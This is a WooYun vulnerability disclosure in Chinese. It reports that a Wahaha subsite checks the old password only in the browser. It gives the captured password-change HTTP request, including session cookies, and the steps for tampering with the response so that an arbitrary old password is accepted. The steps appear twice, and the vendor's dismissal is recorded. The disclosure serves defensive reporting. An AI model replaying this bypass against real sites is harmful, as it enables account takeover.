当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0171752

漏洞标题:哇哈哈某分站重置任意密码漏洞

相关厂商:wahaha.com.cn

漏洞作者: Rand0m

提交时间:2016-01-22 10:57

修复时间:2016-01-27 11:00

公开时间:2016-01-27 11:00

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-22: 细节已通知厂商并且等待厂商处理中
2016-01-27: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

RT

详细说明:

因为哇哈哈用的前段验证,所以这个有的玩~
修改密码处

1.png


抓包

POST /wahaha/useredit.html HTTP/1.1
Host: edison.wahaha.com.cn
Content-Length: 134
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://edison.wahaha.com.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://edison.wahaha.com.cn/wahaha/useredit.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=756A97BD0F44191F52671368810E962A; JSESSIONID=FA5141623D0D00AC780F376FC9F6E55E; CNZZDATA4186937=cnzz_eid%3D1895738471-1453371978-http%253A%252F%252Fedison.wahaha.com.cn%252F%26ntime%3D1453371978
type=SAVE&id=9%2C411&mobile=13888888888&loginId=Rand0m&orginLoginPw=hahadasdaasasdsadad&loginPw=aaaaaa&loginPwConfirm=aaaaaa&x=36&y=22


密码是随意输入的
发送request,forward掉

2.png


把showMsg后面括号的值改成success即可

3.png


就这样咯

漏洞证明:

因为哇哈哈用的前段验证,所以这个有的玩~
修改密码处

1.png


抓包

POST /wahaha/useredit.html HTTP/1.1
Host: edison.wahaha.com.cn
Content-Length: 134
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://edison.wahaha.com.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://edison.wahaha.com.cn/wahaha/useredit.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=756A97BD0F44191F52671368810E962A; JSESSIONID=FA5141623D0D00AC780F376FC9F6E55E; CNZZDATA4186937=cnzz_eid%3D1895738471-1453371978-http%253A%252F%252Fedison.wahaha.com.cn%252F%26ntime%3D1453371978
type=SAVE&id=9%2C411&mobile=13888888888&loginId=Rand0m&orginLoginPw=hahadasdaasasdsadad&loginPw=aaaaaa&loginPwConfirm=aaaaaa&x=36&y=22


密码是随意输入的
发送request,forward掉

2.png


把showMsg后面括号的值改成success即可

3.png

修复方案:

这样的例子好多大厂商还蛮多的,不要用前端验证

版权声明:转载请注明来源 Rand0m@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-01-27 11:00

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无